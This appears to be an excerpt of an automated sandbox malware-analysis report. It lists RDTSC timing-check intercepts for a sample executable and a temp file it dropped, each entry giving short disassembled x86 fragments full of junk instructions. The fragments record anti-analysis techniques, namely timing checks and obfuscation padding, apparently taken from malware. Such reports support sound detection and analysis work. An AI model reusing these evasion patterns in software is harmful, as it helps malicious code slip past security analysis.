Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD08A7 second address: 4FC0DED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F86517CD380h 0x0000000f xor eax, eax 0x00000011 jmp 00007F85E0CD8D1Ah 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e cmp eax, 00000000h 0x00000021 setne cl 0x00000024 xor ebx, ebx 0x00000026 test cl, 00000001h 0x00000029 jne 00007F85E0CFF5E7h 0x0000002b jmp 00007F85E0CFF75Bh 0x00000030 call 00007F85E580965Dh 0x00000035 mov edi, edi 0x00000037 jmp 00007F85E0CFF5EAh 0x0000003c xchg eax, ebp 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 mov bl, 59h 0x00000042 push ecx 0x00000043 pop edi 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0DED second address: 4FC0E59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov si, di 0x0000000e pushfd 0x0000000f jmp 00007F85E0BBFC1Bh 0x00000014 or al, FFFFFFCEh 0x00000017 jmp 00007F85E0BBFC29h 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 movsx edi, ax 0x00000025 pushfd 0x00000026 jmp 00007F85E0BBFC24h 0x0000002b add ax, 2678h 0x00000030 jmp 00007F85E0BBFC1Bh 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0E59 second address: 4FC0E5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0E5F second address: 4FC0E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0E63 second address: 4FC0E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F85E0CFF5F7h 0x0000000f xchg eax, ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F85E0CFF5F5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0E9C second address: 4FC0EC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F85E0BBFC23h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0EC9 second address: 4FC0EE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0EE6 second address: 4FC0EEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0EEC second address: 4FC0F33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F85E0CFF5F5h 0x00000010 or si, C496h 0x00000015 jmp 00007F85E0CFF5F1h 0x0000001a popfd 0x0000001b mov ebx, esi 0x0000001d popad 0x0000001e mov dword ptr [ebp-04h], 55534552h 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 movzx esi, bx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0CCB second address: 4FD0D56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F85E0BBFC1Ch 0x00000011 adc ax, 2CE8h 0x00000016 jmp 00007F85E0BBFC1Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F85E0BBFC28h 0x00000022 adc eax, 6F983F48h 0x00000028 jmp 00007F85E0BBFC1Bh 0x0000002d popfd 0x0000002e popad 0x0000002f push eax 0x00000030 jmp 00007F85E0BBFC29h 0x00000035 xchg eax, ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F85E0BBFC1Dh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0D56 second address: 4FD0D9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushfd 0x0000000f jmp 00007F85E0CFF5F9h 0x00000014 add ah, 00000026h 0x00000017 jmp 00007F85E0CFF5F1h 0x0000001c popfd 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0D9F second address: 4FD0DEE instructions: 0x00000000 rdtsc 0x00000002 mov cx, 7057h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 cmp dword ptr [75AF459Ch], 05h 0x00000010 pushad 0x00000011 jmp 00007F85E0BBFC28h 0x00000016 call 00007F85E0BBFC22h 0x0000001b mov si, 8041h 0x0000001f pop esi 0x00000020 popad 0x00000021 je 00007F865167D835h 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c mov bh, ah 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0DEE second address: 4FD0E07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0E07 second address: 4FD0E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0E0B second address: 4FD0E28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0E28 second address: 4FD0E2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0F13 second address: 4FD0F17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0F17 second address: 4FD0F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD0F1D second address: 4FD0F5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F86517B3036h 0x0000000f jmp 00007F85E0CFF5F0h 0x00000014 cmp dword ptr [ebp+08h], 00002000h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov si, bx 0x00000021 mov edi, 1AFCCECCh 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0306 second address: 4FF030A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF030A second address: 4FF0310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0447 second address: 4FF0491 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F85E0BBFC27h 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007F8651675C46h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F85E0BBFC1Eh 0x0000001d or ch, FFFFFFC8h 0x00000020 jmp 00007F85E0BBFC1Bh 0x00000025 popfd 0x00000026 mov edi, esi 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0491 second address: 4FF0497 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0497 second address: 4FF049B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF049B second address: 4FF04C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d movzx eax, dx 0x00000010 movsx ebx, si 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 mov dh, D9h 0x00000018 push eax 0x00000019 push edx 0x0000001a mov edx, ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0523 second address: 4FF0559 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F85E0BBFC27h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0559 second address: 4FF0583 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 jmp 00007F85E0CFF5EBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F85E0CFF5F4h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0583 second address: 4FF0588 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF05E2 second address: 4FF05FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 945F36 second address: 945F3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 945F3A second address: 945F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 92C683 second address: 92C68C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 92C68C second address: 92C690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 92C690 second address: 92C69A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 92C69A second address: 92C6AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0CFF5ECh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 944F0C second address: 944F10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 944F10 second address: 944F14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 945069 second address: 9450A1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F85E0BBFC20h 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007F85E0BBFC26h 0x00000014 jbe 00007F85E0BBFC16h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 945231 second address: 94523D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F85E0CFF5E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9453A0 second address: 9453A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9453A4 second address: 9453B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9453B1 second address: 9453B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9453B6 second address: 9453BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 945629 second address: 94562E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 94562E second address: 945634 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 945634 second address: 94563A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 94563A second address: 94563E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 94563E second address: 945642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 945642 second address: 945654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a jns 00007F85E0CFF5E6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 945806 second address: 94580A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 94580A second address: 94580E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9485C7 second address: 9485CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9485CE second address: 94860B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F85E0CFF5E6h 0x00000009 jmp 00007F85E0CFF5F6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 mov dword ptr [ebp+122D2AD5h], ecx 0x0000001a push 00000000h 0x0000001c mov cl, al 0x0000001e push 1D54FAB2h 0x00000023 jg 00007F85E0CFF5EEh 0x00000029 push esi 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 948739 second address: 9487C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F85E0BBFC16h 0x00000009 jmp 00007F85E0BBFC25h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 mov cx, D5D3h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F85E0BBFC18h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 pushad 0x00000033 ja 00007F85E0BBFC2Eh 0x00000039 mov dword ptr [ebp+122D1E79h], ebx 0x0000003f popad 0x00000040 call 00007F85E0BBFC19h 0x00000045 pushad 0x00000046 jnc 00007F85E0BBFC1Ch 0x0000004c push eax 0x0000004d push edx 0x0000004e jne 00007F85E0BBFC16h 0x00000054 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9487C5 second address: 9487D3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9487D3 second address: 9487D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9487D7 second address: 9487DD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9487DD second address: 9487E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9487E3 second address: 9487E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9487E7 second address: 9487EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9487EB second address: 9487FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9487FD second address: 948816 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 948816 second address: 94882C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F85E0CFF5ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 94882C second address: 9488AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F85E0BBFC16h 0x0000000a popad 0x0000000b pop ecx 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F85E0BBFC1Ah 0x00000019 popad 0x0000001a pushad 0x0000001b jmp 00007F85E0BBFC1Eh 0x00000020 jc 00007F85E0BBFC16h 0x00000026 popad 0x00000027 popad 0x00000028 pop eax 0x00000029 mov edi, dword ptr [ebp+122D3C41h] 0x0000002f mov dword ptr [ebp+122D26C6h], ebx 0x00000035 push 00000003h 0x00000037 jmp 00007F85E0BBFC27h 0x0000003c mov ecx, dword ptr [ebp+122D3C91h] 0x00000042 push 00000000h 0x00000044 jl 00007F85E0BBFC1Ch 0x0000004a mov edi, dword ptr [ebp+122D3E09h] 0x00000050 push 00000003h 0x00000052 mov dx, 14BDh 0x00000056 push 73D2C39Bh 0x0000005b push eax 0x0000005c push edx 0x0000005d push ebx 0x0000005e pushad 0x0000005f popad 0x00000060 pop ebx 0x00000061 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9488AD second address: 9488E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F85E0CFF5E6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e add dword ptr [esp], 4C2D3C65h 0x00000015 mov edi, dword ptr [ebp+122D3D5Dh] 0x0000001b lea ebx, dword ptr [ebp+1245E4DCh] 0x00000021 mov edi, dword ptr [ebp+122D3D15h] 0x00000027 cld 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F85E0CFF5EAh 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9488E4 second address: 9488E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9488E8 second address: 9488EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 9488EE second address: 9488F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 94893A second address: 948984 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F85E0CFF5E8h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 jc 00007F85E0CFF5EEh 0x00000019 ja 00007F85E0CFF5E8h 0x0000001f nop 0x00000020 mov ecx, dword ptr [ebp+122D3C8Dh] 0x00000026 push 00000000h 0x00000028 pushad 0x00000029 push esi 0x0000002a mov eax, dword ptr [ebp+122D3CC9h] 0x00000030 pop ebx 0x00000031 popad 0x00000032 push 797FA18Eh 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 948984 second address: 948988 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 948988 second address: 94898E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 94898E second address: 948994 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 948A41 second address: 948A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 948A4D second address: 948A52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 96A598 second address: 96A59E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	RDTSC instruction interceptor: First address: 96A59E second address: 96A5B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0BBFC26h 0x00000009 rdtsc
